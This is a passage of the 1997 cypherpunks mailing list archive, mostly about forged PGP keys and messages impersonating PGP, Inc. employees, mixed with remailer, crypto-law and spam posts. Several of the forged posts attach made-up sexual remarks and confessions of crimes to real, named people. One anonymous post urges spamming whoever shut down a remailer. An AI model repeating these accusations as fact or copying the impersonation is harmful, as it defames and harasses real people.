to be the natural habitat of Mongers of every sort.)

Philip R. Zimmerman 

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7s2017MfpC8gEO7EQI7pACg0285HGGqLevqRTFZnzpB59PS8yoAn1Wp
0b7D8YcrmSn9VbjmAq55nKWx
=fRuw
-----END PGP SIGNATURE-----







From nobody at REPLAY.COM  Wed Jul  2 23:18:20 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 14:18:20 +0800
Subject: PGP security problems?
Message-ID: <199707030551.HAA15022@basement.replay.com>



Anonymous wrote:
> I saw this on another mailing list and was wondering if anyone has any
information as to what kind of security problems PGP had.

   The following appeared on several newsgroups I belong to.
---------
[Forward]
---------
From: Will Price 
Newsgroups:
alt.privacy.anon-server,alt.fan.john-hinkley,alt.religion.tantric-sex,alt.anonymous-assholes,alt.cypherpunks,news.admin.net-abuse.therapy
Subject: Security Problems at PGP
Followup-To:
alt.cypherpunks
Date: 2 Jul 1997 20:02:22 GMT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Anonymous wrote:
> Does anyone have the inside scoop on the security problems at PGP?

The problems encountered had to do with bogus keys of 
PGP employees being uploaded to the server. This has
been rectified by the creation of a new PGP Corporate
Key with which all employee keys must now be signed in
order to be considered valid.
The new PGP Corporate key, dated July 30, 1997, is now
available on the PGP, Inc. keyserver.

Will Price
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7slnQolbA5ByKtoEQJNNgCgyK89QB7xQiwhgPUeoB5gMqc2BmEAoJhO
14xzY3rKoguftPd0qYWZsTyx
=+X4g
-----END PGP SIGNATURE-----






From barrons at WSJ.DOWJONES.COM  Thu Jul  3 14:31:18 1997
From: barrons at WSJ.DOWJONES.COM (Barrons Online)
Date: Thu, 3 Jul 1997 14:31:18 -0700 (PDT)
Subject: Important Announcement for Barron's Online Subscribers
Message-ID: 


Dear Barron's Online subscriber:

I'd like to make you aware of some important changes coming to Barron's
Online in the next few weeks.

Barron's Online is forming an alliance with The Wall Street Journal
Interactive Edition, its sister Web publication from Dow Jones & Co.
Barron's Online, the Interactive Journal and the soon-to-be-unveiled
SmartMoney Interactive are pooling their efforts to provide investors with
the Web's  most comprehensive collection of business and markets news,
commentary, financial information and personal finance tools -- all at a
single subscription price.

Beginning July 25, access to Barron's Online will be by paid subscription
only. The price is $49 per year. But print subscribers to Barron's will be
eligible for an introductory rate of only $29 per year.

What does this mean for you?

Barron's Online will still offer the key features you've enjoyed in the
past, including our exclusive Weekday Extra columns. One noteworthy change:
Barron's Online Dossiers will be replaced by Interactive Journal Company
Briefing Books, which we expect you'll find equally useful.

You get a chance to experience the combined offering on July 25. You can
wait until then to register, if you wish. After July 25, the first time you
come to Barron's Online you'll be asked to re-register and provide us with a
credit card. Your card won't be charged until two weeks later, so you'll
have a chance to look around. If you're not satisfied, you can cancel your
account and you won't be charged.

But here's an opportunity to extend that free trial. Register for the
Interactive Journal now or any time before July 15 via a special offer link
on the Barron's Online site, and your first eight weeks will be free. Cancel
anytime before the eight weeks expire, and there's no charge. With free
access for eight weeks, you'll have a chance to explore the Interactive
Journal now and, in a few weeks, check out the revamped Barron's Online.

For more information, and to receive the eight-week free offer, see

.

We're sure you'll agree that the combined power of these Web sites will be
worth more than the subscription price we're charging. After all, more than
100,000 people already are subscribing to the Interactive Journal alone.

Best regards,

Howard Gold                     Neil Budde
Editor                               Editor
Barron's Online                 The Wall Street Journal Interactive Edition


http://www.barrons.com/wsj_frame.html

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send email to: stopmkt at lists.wsj.com

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From snow at smoke.suba.com  Wed Jul  2 23:37:54 1997
From: snow at smoke.suba.com (snow)
Date: Thu, 3 Jul 1997 14:37:54 +0800
Subject: Degaussing
In-Reply-To: 
Message-ID: <199707030629.BAA00259@smoke.suba.com>



> The Cypherpunks Shooting Club welcomes you each Sunday immediately 
> following the monthly CP meeting. Except this August, when certain stalwart
> members of the club will be at HIP'97. :-)

	What date will the meeting be? 






From tien at well.com  Wed Jul  2 23:56:08 1997
From: tien at well.com (Lee Tien)
Date: Thu, 3 Jul 1997 14:56:08 +0800
Subject: Crypto Law Survey updated
In-Reply-To: <9A131B1A13@frw3.kub.nl>
Message-ID: 



There is a summary of the Canadian crypto rules, by Stewart Baker, at the
Steptoe and Johnson site:  http://www.steptoe.com/encryp.htm

I skimmed it today and it seems that Canada is considerably more liberal.
There are interesting issues regarding U.S.-originated content.

Lee

At 9:19 AM -0700 7/2/97, Bert-Jaap Koops wrote:
>I have just updated my survey of existing and envisaged cryptography
>laws and regulations.
>See the Crypto Law Survey at
>http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm
>
>This update includes:
>-    update on Australia (Walsh report), Germany (Interior Ministry
>     opinion), Sweden (IT commission report), US (government bill
>     amended, Kerrey-McCain bill, SAFE act amended and passed House
>     committees, czar travel FOIA request)
>-    clarification on Singapore (import, domestic), Japan (government
>cannot choose)
>-    URLs added to Belgium (law proposals), Canada (export), UK
>(cyber-rights report)
>
>Comments are as always welcomed.
>
>Kind regards,
>Bert-Jaap
>









From shamrock at netcom.com  Thu Jul  3 00:04:44 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 3 Jul 1997 15:04:44 +0800
Subject: Degaussing
In-Reply-To: 
Message-ID: <3.0.2.32.19970702234803.00716004@netcom10.netcom.com>



At 01:29 AM 7/3/97 -0500, snow wrote:
>> The Cypherpunks Shooting Club welcomes you each Sunday immediately 
>> following the monthly CP meeting. Except this August, when certain stalwart
>> members of the club will be at HIP'97. :-)
>
>	What date will the meeting be? 

The regular CP meeting is always on the second Saturday of the month.

The meeting at HIP will be the same day: August 9 at the HIP campground.
I'll be the guy in the black BDU with the "L. Green" name tag, wearing a
Nomex balaklava. :-)

--Lucky
--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From turby at pgp.com  Thu Jul  3 00:34:11 1997
From: turby at pgp.com (Carolyn Turbyfill)
Date: Thu, 3 Jul 1997 15:34:11 +0800
Subject: PGP security problems?
Message-ID: <199707030715.BAA26652@wombat.sk.sympatico.ca>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


The email forgeries using bogus PGP keys to give the appearance
that the messages are from PGP, Inc. and our employees are the
result of a sick, twisted mind.
Perhaps someone thinks they are being funny, but I, for one, am
not amused.

In order for the internet to function in a coherent, meaningful
manner, people need to be able to have assurance that the email
they receive accurately reflects the true source of the message
and be able to verify the identity of the writer by checking
for a valid signature.
I urge the person or persons doing this to stop. Immediately!

After I send this message to the cypherpunks list and receive
it back in my email, I'm going to check the signature and the
headers on it and if it turns out to be a forgery, like the
others, then I'm going to be really, really mad.

Carolyn Turbyfill 
"I'm not wearing any panties."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7tNBu5XWImkXCQiEQLiggCfcJmJBkepBVEDtktoSMtTV97f0uoAoNCe
6IrX5/0nUBjpcIq24XtMFDlK
=0CHj
-----END PGP SIGNATURE-----






From mji at pgp.com  Thu Jul  3 01:14:44 1997
From: mji at pgp.com (Michael J. Iannamico)
Date: Thu, 3 Jul 1997 16:14:44 +0800
Subject: PGP security problems?
Message-ID: <199707030758.BAA28247@wombat.sk.sympatico.ca>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Please be advised that the message sent to the cypherpunks
list purporting to be from Carolyn Turbyfill 
was a forgery. 
The PGP signature on the file, apparently from Marc Briceno
 may have been a forgery, as well, since
it is unlikely that Marc would know whether or not Carolyn
wears panties. It may be that the forger quite simply made
a lucky guess.

Oh! Not that I've been peeking up the women's skirts at
the office. I'm in therapy now, and all of that is behind
me. I must have just heard it from someone else in the
office.
Not that we're a bunch of perverts who sit around talking
about that kind of thing, mind you.

(I'd better shut up while I still have a job.)

Oh! I know. This message must be a forgery, too. Yes, that's
it...this message is a _forgery_! It's not me writing it,
its that sick, demented, cypherpunk forger.
I'm not backsliding. I attend all the meetings and I am
taking my medication regularly.

It's the _forger_, I tell you...the _forger_!!!

Michael J. Iannamico 
"I'm feeling much better now."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7tbH2vmZC203a9iEQJjjQCg1IICgkrGCdiydWAlqjbpoxQ5YEEAoNco
CjhwCCVEz/ALHinvGNhJHvDT
=sjFj
-----END PGP SIGNATURE-----






From cypherpunks at Algebra.COM  Thu Jul  3 01:30:10 1997
From: cypherpunks at Algebra.COM (cypherpunks at Algebra.COM)
Date: Thu, 3 Jul 1997 16:30:10 +0800
Subject: http://hipcrime.home.ml.org
Message-ID: <199707030822.BAA09194@italy.it.earthlink.net>








From pooh at efga.org  Thu Jul  3 01:30:46 1997
From: pooh at efga.org (Robert A. Costner)
Date: Thu, 3 Jul 1997 16:30:46 +0800
Subject: PGP security problems?
In-Reply-To: <199707030715.BAA26652@wombat.sk.sympatico.ca>
Message-ID: <3.0.3.32.19970703041536.00cc566c@mail.atl.bellsouth.net>



At 01:18 AM 7/3/97 EST, Carolyn Turbyfill (probably didn't) write:
>The email forgeries using bogus PGP keys to give the appearance
>that the messages are from PGP, Inc. and our employees are the
>result of a sick, twisted mind.

While a keyserver with no authentication has a very low barrier to entry
for false authentication, the barrier is not that much higher for even a
Verisign class three verification.  I've continually said that the biggest
problem with secure authentication is that secure authentication is not
possible.

I hate to see people doing such things with keyservers and keys, but we all
knew the problem existed.  I wonder where the solution is.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From dformosa at st.nepean.uws.edu.au  Thu Jul  3 01:58:37 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 3 Jul 1997 16:58:37 +0800
Subject: PGP security problems?
In-Reply-To: <3.0.3.32.19970703041536.00cc566c@mail.atl.bellsouth.net>
Message-ID: 



On Thu, 3 Jul 1997, Robert A. Costner wrote:

[...]

> I hate to see people doing such things with keyservers and keys, but we all
> knew the problem existed.  I wonder where the solution is.

Well it all depeands on what you wish to do.  A simple mail back
authentacation schem would raise the barror to router and host spoofing.
Haveing ISP's sign there users public keys would also help.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From nobody at REPLAY.COM  Thu Jul  3 02:12:44 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 17:12:44 +0800
Subject: Jeff's Side of the Story.
Message-ID: <199707030854.KAA07018@basement.replay.com>



nobody at REPLAY.COM (Anonymous) wrote:
>> > Beware... all of this is speculation, because huge.cajones was an
>> > anonymous service, not even I can say with any authority that any
>> > of the people named below had anything to do with the shutdown of
>> > huge.cajones (or The MailMasher).  However, there are a number of
>> > coincidences of timing.
>
>  Who was it that used the threat of a lawsuit to shut down the
>remailer?
>  I, for one, would be more than happy to make certain that they
>receive ample opportunity to "Make $$Money$$ Fast!!" by receiving
>a mountain of information as to how to do so.
>  Anyone who would attack a remailer is probably involved in child
>pornography and drug dealing and these perverts should be exposed
>for what they are.

Please see http://www.netscum.net/burnorg0.html for more info.






From philipn at pgp.com  Thu Jul  3 02:14:08 1997
From: philipn at pgp.com (Philip Nathan)
Date: Thu, 3 Jul 1997 17:14:08 +0800
Subject: PGP security problems?
Message-ID: <199707030855.CAA00113@wombat.sk.sympatico.ca>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


I've been a nervous wreck tonight, reading all of the forged
messages revealing the secrets of a number of my fellow PGP,
Inc. employees.
It is only a matter of time until the forger gets around to
me, so I might as well confess now that I've been stealing
money from the company and selling PGP, Inc. company secrets
to the competition.

I'm not proud of what I've done, but I am desperate to get
out of this madhouse. 
Pantyless women, men who shine their shoes twelve times a
day to peek up the women's skirts. Spooks all over the place
and Phil Zimmerman sending Tim C. May ASCII-art slams to the
cypherpunks list (while blaming it on Dr. Vulis).
The child-pornography ring and the incessant drug dealing
within the company are bad enough, but what I find really
intolerable is the support for terrorists and the plot to
help secret government agencies rule the U.S.

Of course, if you check the cypherpunk archives, you'll
probably find that Tim May predicted all of this happening
in a post he sent to the list in '92.

Philip Nathan 

There's something wrong when I'm a felon under an increasing number of
laws.
Only one response to the key forgers is warranted: "Death to Everyone!"
-
---------:---------:---------:---------:---------:---------:---------:----
Philip Nathan               | Crypto Anarchy: encryption, digital money,
philipn at pgp.com             | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information
superhighway."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7tobvNv9MGSYz54EQL82QCfelOV54gMyMeSUhUM3gz3dS00TpgAoLpo
nIAXn3NpRcJZ+bzV8Cd6NNu0
=l0oJ
-----END PGP SIGNATURE-----






From dformosa at st.nepean.uws.edu.au  Thu Jul  3 03:25:41 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 3 Jul 1997 18:25:41 +0800
Subject: PGP security problems?
In-Reply-To: <199707030557.XAA20987@wombat.sk.sympatico.ca>
Message-ID: 



On Thu, 3 Jul 1997, Philip R. Zimmerman wrote:

[...]

>  It is inevitable that some gullible fools will be taken in by
> the forgeries, 

[Claps]  Very very cleaver,  you almost got me there.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  







From cypherpunks at Algebra.COM  Thu Jul  3 04:14:07 1997
From: cypherpunks at Algebra.COM (cypherpunks at Algebra.COM)
Date: Thu, 3 Jul 1997 19:14:07 +0800
Subject: http://hipcrime.home.ml.org
Message-ID: <199707031108.EAA20189@italy.it.earthlink.net>



http://hipcrime.home.ml.org






From nobody at faust.guardian.co.uk  Thu Jul  3 20:11:43 1997
From: nobody at faust.guardian.co.uk (Shift Control)
Date: Thu, 3 Jul 1997 20:11:43 -0700 (PDT)
Subject: Fancy a drink?
Message-ID: <199706271610.RAA24455@faust.guardian.co.uk>


This week, in the Pub Issue of Shift Control...

"Some pretty scary things are happening to British pubs - 
apparently in the name of pleasing women. Rat and Parrot, 
Slug and Lettuce, All Bar One, Wetherspoons - they all 
signify the general white collarisation of the pub with 
blonde wood and windows where the cheap repro mahogany 
and frosted glass should be." 
- Kate Spicer wonders what's wrong with the good ol' local.

"Some London pub crawls have their origins in history (the 
Jack the Ripper pub crawl) or literature (the Sherlock 
Holmes pub crawl), while others are just a desperate attempt 
to justify a booze-up (the Monopoly board pub crawl). But 
the greatest of all is the Circle Line pub crawl. It has no 
discernible beginning and no discernible end. All that's 
certain is that the Circle Line has 27 stations, and 
somewhere near the exit of each of these is a pub." 
- Paul Robinson takes on the ultimate pub challenge.

"Nowadays even boozing and chatting have gone hi-tech. And 
while electric toothbrushes caught on and talking cars are 
here to stay, is there really any justification for the 
virtual pub?" 
- Rebecca Fox asks if online boozers have really lost the 
pub spirit.

Plus the Shift Control quiz: How wild are you... about pubs?

Shift Control: serving a full measure of delights, NOW, at 
http://www.shiftcontrol.com

___________________________________________________________

Shift Control is produced by the Guardian's New Media Lab 
with help from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list, send e-mail to 
shiftcontrol-request at nml.guardian.co.uk with the following 
text in the body of the mail message: unsubscribe







From ulf at fitug.de  Thu Jul  3 05:12:30 1997
From: ulf at fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Thu, 3 Jul 1997 20:12:30 +0800
Subject: urban environment visualization systems
Message-ID: <9707031205.AA68804@public.uni-hamburg.de>



http://www.nttc.edu/solicitations/sbir/dod972/darpa972.txt

DARPA SB972-068           TITLE:   Multi-Platform  Real-Time  3-D Visualization 
                      System Urban Environments  and  3-D Terrain Imagery
KEY TECHNOLOGY AREA:  Computing and Software
OBJECTIVE:        Create a cross-platform (PC, Mac,  Sun,  SGI,  etc.) 
real-time 3-D visualization system capable of visualizing  ultra-high 
resolution urban environments immersed in global unlimited 3-D terrain imagery 
simultaneously.
DESCRIPTION: Most high performance visualization systems are currently limited 
to high-end graphics deskside work stations costing in excess of $100K. The 
low-cost of high performance dedicated graphics hardware for personal computers 
and low-end work stations has made it possible to create a cross-platform 
system that can visualize virtually infinite amounts of high-resolution data in 
real-time. Along with the enabling hardware, a highly integrated software 
system that can effectively utilize the hardware with advanced graphics and 
data handling technologies needs to be developed. Today, this capability only 
exists on costly, difficult to use, and inflexible high-end systems. An 
advanced system is required to: 
1) Visualize unlimited amounts of terrain and structure data in urban 
environments (e.g., large cities and military compounds containing complex 
structures) in real-time; 
2) Implement state-of-the-art rendering and data processing techniques to 
provide the best possible performance for all types of data; and, 
3) Run on a wide variety of systems ranging from high-end graphics work 
stations to standard PCs with dedicated graphics hardware.
         PHASE I: Define the visualization system to be developed, 
requirements, software architecture, high-level design, technical approaches, 
tradeoffs, and enhancements over current approaches and existing tools. 
Demonstrate proof-of-concepts on at least two different graphics platforms.
       PHASE II: Produce a prototype implementation of the system. Demonstrate 
capability on at least three different graphics platforms (high and low-end 
systems).
       PHASE III DUAL USE APPLICATIONS: The emergence of low-cost 3-D hardware 
for the PC platform has made practical the application of 3-D terrain and 
building visualization technology to address a variety of problems such as 
building physical security analysis (counterterrorism), urban planning, 
forestry management, geographic information systems, and architectural 
visualization. This program could greatly enhance the capability of businesses 
(located abroad or in the United States) and government agencies to conduct 
analysis of threats from terrorism or crime and to assist them in taking 
prudent measures to reduce their risks of terrorist or criminal attack. 
Portable visualization of urban settings enables any user to view their 
organization/businesses in a manner useful to identifying risks from bombs, 
sniping, or other security threats, and taking appropriate protective measures.






From nobody at REPLAY.COM  Thu Jul  3 05:52:45 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 20:52:45 +0800
Subject: McVeigh Sentence
Message-ID: <199707031235.OAA01707@basement.replay.com>



On Tue, 17 Jun 1997, William H. Geiger III wrote:

> "There needs to be lifeguards at the shallow end of the gene pool"

Who said that originally? Can I borrow it?










From 77574525 at msn  Thu Jul  3 21:06:29 1997
From: 77574525 at msn (77574525 at msn)
Date: Thu, 3 Jul 1997 21:06:29 -0700 (PDT)
Subject: Free investment information!
Message-ID: <199700070025.gaa08056>


DON NOT CLICK REPLY, IT WILL NOT WORK, USE LINKS LISTED BELOW IN MESSAGE

Natural gas futures contracts on the New York Mercantile Exchange (NYMEX) have 
hit record high levels for the past two years in the winter months.  But why?

The answer lies in the simple economic principle of supply and demand.  Winter 
brings with it colder temperatures and an increased demand for Natural Gas.  
Also, "just-in-time" inventory management practices have been adopted widely 
in the energy industry.  Corporate attempts to cut costs of stockpiling have 
led to lower supplies.

That was the past; what does the future hold?
No one can answer that question with absolute certainty.  However, key 
indicators appear to be pointing to another significant move in the price of 
Natural Gas going into the winter months.  First, demand for Natural Gas has 
been increased by the U.S. adding over 1.5 million new Natural Gas heating 
units in 1996.  Second, the American Gas Association reported that supplies in 
underground storage are only at 38% of the total nationwide capacity.  
Illustrating the point made earlier about the Corporations trying to keep 
costs of stockpiling low to possibly boost earnings for stockholders.

What is the profit potential?
An investment of $5,000 and a $.50 realized gain in the value of your Natural 
Gas options could return as much $25,000.

How realistic is it that the price of Natural Gas will move $.50?
The average seasonal price increase over the last seven years of trading 
Natural Gas futures contracts has been $1.44.  The smallest seasonal move was 
$.51 and the largest move $2.86. 

How do I receive my free information on the Natural Gas and other futures 
markets?
Very easily; just send an email to nmp123 at lostvegas.com including :
*Name
*Address
*Phone
*Best time to call
(No packages can be sent without this information and please place Natural Gas 
in the subject or body of the message.)

A Series-3 registered broker will call to confirm the request for information. 
 All brokers are registered with and regulated by the National Futures 
Assoc.(NFA) and the Commodities Futures Trading Commission(CFTC).
  
Please only serious inquiries.

Past performance is not necessarily indicative of future results.  You could 
lose part or all of your investment.  However, when purchasing options your 
risk is predetermined to the amount you invest.  Commissions and fees will 
impact the total amount returned to the client.  Options do not move dollar 
for dollar with the underlying futures contract until expiration date.

If you would like to be removed from our mailing list please send an email to: 
 nmp123 at lostvegas.com.  Please place remove in the subject or body of the 
letter.










From nobody at REPLAY.COM  Thu Jul  3 06:50:24 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 21:50:24 +0800
Subject: Degaussing
Message-ID: <199707031337.PAA08887@basement.replay.com>



> That reminds me...  I have some old drives I need to take down to the
> shooting range.  (I want to make them an example to the other drives...)
> 
> Sounds like a Cypherpunk project to me. ]:>


Unerased data is a cancer!

Only 50 Megatons of nuclear disinfectant can cure it!

Lock and load!







From randerso at ece.eng.wayne.edu  Thu Jul  3 07:09:02 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Thu, 3 Jul 1997 22:09:02 +0800
Subject: random remailer forwarding (Was: Jeff's Side of the Story.)
In-Reply-To: <3.0.2.32.19970702174350.0311cbf4@popd.ix.netcom.com>
Message-ID: 



On Wed, 2 Jul 1997, Bill Stewart wrote:

> >Well, to make the remailers more intelligent, have them count incoming
> >mail from the list of remailers participating in the system.  (either that
> >or a rate)  when one remailer seems to be sending much more mail than the
> >others (which shouldn't happen if all remailers are randomly distributing
> >the mail to each other)  you automatically do the random forward to
> >another remailer.
> 
> That's a way to guarantee that the remailers that aren't working
> get more of the traffic.....

So there's a few problems still, sheeeeeeshk.  Actually, if you haven't
heard anything from a remailer for a while, you'd probably drop it from
your calculations.  I'd also assume that the mailers participating in this
random forwarding system were at least somewhat stable.. :-)

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From azur at netcom.com  Thu Jul  3 07:21:01 1997
From: azur at netcom.com (Steve Schear)
Date: Thu, 3 Jul 1997 22:21:01 +0800
Subject: Liberating the Bits
In-Reply-To: <199707022134.PAA16117@wombat.sk.sympatico.ca>
Message-ID: 



>BigNuts wrote:
>  There is also a minimum level of sustenance needed by those who
>produce the products we use, and if this is not met, then they cease
>producing those products. If you copy George Strait's albums without
>putting a few pennies in his pocket, it is not likely to inhibit his
>market enough to matter, but if you do the same with an album by a
>group who is living in a station-wagon between gigs, then you might
>find yourself wondering "What ever happened to 'Psychotic Losers'?"

An alternative would be for the creators to publish their PK and the amount
of money they get from the sale of each item.  Then well-meaning theives
can directly and anonymously send the artists ecash and sleep well at night
knowing the artist and not the vermin are benefiting.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From m1tca00 at FRB.GOV  Thu Jul  3 08:00:21 1997
From: m1tca00 at FRB.GOV (Tom Allard)
Date: Thu, 3 Jul 1997 23:00:21 +0800
Subject: Jeff's Side of the Story.
In-Reply-To: <199707030854.KAA07018@basement.replay.com>
Message-ID: <199707031416.KAA11262@bksmp2.FRB.GOV>




> Please see http://www.netscum.net/burnorg0.html for more info.

whois netscum.net


NETSCUM (NETSCUM2-DOM)
   8001 Castor Avenue Ste. 127
   Philadelphia, PA 19152
   USA

   Domain Name: NETSCUM.NET

   Administrative Contact:
      NETSCUM  (NET33-ORG)  admin at NETSCUM.NET
      215-628-9780
Fax- 215-628-9762
   Technical Contact, Zone Contact:
      Wallace, Sanford  (SW1708)  domreg at CYBERPROMO.COM
      215-628-9780
   Billing Contact:
      NETSCUM  (NET33-ORG)  admin at NETSCUM.NET
      215-628-9780
Fax- 215-628-9762

   Record last updated on 01-May-97.
   Record created on 01-May-97.
   Database last updated on 3-Jul-97 04:38:10 EDT.

   Domain servers in listed order:

   NS7.CYBERPROMO.COM           205.199.2.250
   NS9.CYBERPROMO.COM           207.124.161.50
   NS8.CYBERPROMO.COM           207.124.161.65
   NS5.CYBERPROMO.COM           205.199.212.50


The InterNIC Registration Services Host contains ONLY Internet Information
(Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.



rgds-- TA  (tallard at frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.








From rah at shipwright.com  Thu Jul  3 08:40:10 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 3 Jul 1997 23:40:10 +0800
Subject: AAAS Anonymity Project
Message-ID: 




--- begin forwarded text


Mime-Version: 1.0
Date:         Thu, 3 Jul 1997 10:32:01 -0400
Reply-To:     Law & Policy of Computer Communications
              
Sender:       Law & Policy of Computer Communications
              
From:         EGEHMAN 
Subject:      AAAS Anonymity Project
To:           CYBERIA-L at LISTSERV.AOL.COM

     The Scientific Freedom, Responsibility, and Law Program of the
     American Association for the Advancement of Science (AAAS) is
     conducting an on-line survey to learn more about the uses of anonymity
     and pseudonymity on the Internet.  The survey, together with a series
     of focus group meetings and an invitational conference, is part of a
     project being funded by the National Science Foundation.  The project
     will generate a set of criteria describing the contexts in which
     anonymous and pseudonymous communications are desirable, permissible,
     or undesirable, and a set of guidelines for the use of anonymous and
     pseudonymous communications in those situations where their use is to
     be encouraged or at least tolerated.  Please visit the Project website
     to learn more about this timely project and tell us about your
     experiences with anonymity or pseudonymity:
     http://www.aaas.org/spp/anon.

     Founded in 1848, the AAAS is a nonprofit scientific society dedicated
     to the advancement of scientific and technological excellence, and to
     the public's understanding of science and technology.  AAAS is the
     world's largest federation of scientific and engineering societies,
     with nearly 300 affiliates.  In addition, AAAS has a membership of
     more than 143,000 scientists, engineers, science educators,
     policymakers, and interested citizens dedicated to scientific and
     technological progress in service to society.  AAAS is the publisher
     of the prestigious, peer-reviewed, weekly journal, SCIENCE.

     Project on Anonymous Communications on the Internet
     Directorate for Science & Policy Programs
     American Association for the Advancement of Science
     1200 New York Avenue, NW, Washington, DC, 20005
     Tel: 202 326 6600 Fax: 202 289 4950
     E-mail: anonspp at aaas.org
     URL: http://www.aaas.org/spp/anon

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tzeruch at ceddec.com  Thu Jul  3 09:02:13 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Fri, 4 Jul 1997 00:02:13 +0800
Subject: PGP security problems?
In-Reply-To: 
Message-ID: <97Jul3.112901edt.32257@brickwall.ceddec.com>



On Thu, 3 Jul 1997, ? the Platypus {aka David Formosa} wrote:

> Never trust a country with more peaple then sheep.

Never trust a country where the sheep are bipedal, especially when the
general policy is shearing is caring.






From sunder at brainlink.com  Thu Jul  3 09:11:01 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 4 Jul 1997 00:11:01 +0800
Subject: AAAS Anonymity Project (Be AFRAID!)
In-Reply-To: 
Message-ID: 



On Thu, 3 Jul 1997, Robert Hettinga wrote:

>      The Scientific Freedom, Responsibility, and Law Program of the
>      American Association for the Advancement of Science (AAAS) is
>      conducting an on-line survey to learn more about the uses of anonymity
>      and pseudonymity on the Internet.  The survey, together with a series
>      of focus group meetings and an invitational conference, is part of a
>      project being funded by the National Science Foundation.  The project
>      will generate a set of criteria describing the contexts in which
>      anonymous and pseudonymous communications are desirable, permissible,
>      or undesirable, and a set of guidelines for the use of anonymous and
	^^^^^^^^^^^^^^^

Sounds like an attempt at furthering legislation to curtail our freedoms.
I say stay the hell away from this.  It smells of evil TLA's.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From hallam at ai.mit.edu  Thu Jul  3 09:19:59 1997
From: hallam at ai.mit.edu (Hallam-Baker)
Date: Fri, 4 Jul 1997 00:19:59 +0800
Subject: PGP security problems?
In-Reply-To: <199707030715.BAA26652@wombat.sk.sympatico.ca>
Message-ID: <33BBCB54.2781@ai.mit.edu>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Robert A. Costner wrote:
> 
> At 01:18 AM 7/3/97 EST, Carolyn Turbyfill (probably didn't) write:
> >The email forgeries using bogus PGP keys to give the appearance
> >that the messages are from PGP, Inc. and our employees are the
> >result of a sick, twisted mind.
> 
> While a keyserver with no authentication has a very low barrier to entry
> for false authentication, the barrier is not that much higher for even a
> Verisign class three verification.  I've continually said that the biggest
> problem with secure authentication is that secure authentication is not
> possible.

I don't think thats a reasonable assertion at all. PGP is positing that
they have an online identification technique. Verisign are asserting
they
have performed a particular identification process and suggest that it
is 
sufficient for a particular purpose:
